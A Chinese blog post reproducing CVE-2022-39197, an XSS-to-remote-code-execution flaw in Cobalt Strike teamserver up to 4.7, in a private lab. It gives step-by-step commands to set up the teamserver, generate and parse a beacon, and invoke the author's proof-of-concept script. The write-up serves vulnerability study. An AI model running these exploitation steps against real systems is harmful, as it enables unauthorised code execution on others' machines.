CVE-2022-39197(CobaltStrike XSS <=4.7)漏洞復現

最新文章更新見個人博客

漏洞說明

根據9.20日CobaltStrike官方發佈的最新4.7.1版本的更新日誌中介紹,<=4.7的teamserver版本存在XSS漏洞,從而可以造成RCE遠程代碼執行

一位名為「Beichendream」的獨立研究人員聯繫我們,告知我們他們在團隊服務器中發現的一個 XSS 漏洞。這將允許攻擊者在 Beacon 配置中設置格式錯誤的用戶名,從而允許他們遠程執行代碼RCE。


復現過程

根據漏洞原理,類似之前使用的cs上線器,稍微修改一下上線的payload即可。

測試環境

服務端:Ubuntu20.04+JDK11+CS4.3 (IP: 172.16.12.13)

客戶端:M2 macOS Monterey 12.5 + JDK17 (IP: 172.16.12.2)

用到的工具:CobaltStrikeParserCVE-2022-39197 POC


環境搭建

# ubuntu
chmod +x teamserver
./teamserver 172.16.12.13 haha123
# macOS--提供圖片加載服務,如果聯網的話可以省略該步,使用任意在線圖片的url
brew install node@14
npm i --global serve
serve		# 用serve在圖片路徑下開啟服務, 此處圖片文件url為://172.16.12.2:3000/logo.png

CS中創建一個listener監聽器

image-20220923195818451

然後生成一個package木馬,經測試,是否勾選x64(即生成的32位和64位均可上線)不影響結果

image-20220923200124179


POC使用

首先對這個生成的beacon進行分析,我們這裡使用CobaltStrikeParser這個工具。

python3 parse_beacon_config.py beacon4.3_x64.exe --json

重點關注如下幾個點

PortC2ServerHttpPostUri進行拼接,這裡變成://172.16.12.13:8080/visit.js/submit.php,記錄下來

PublicKey複製到一個txt文件中,注意去除前後的空格

使用我寫的POC(編寫不易,麻煩加個star吧,後期會把上述分析功能集成,一站式實現)

python3 cve-2022-39197-poc.py -i //172.16.12.2:3000/logo.png -u //172.16.12.13:8080/visit.js/submit.php -k key.txt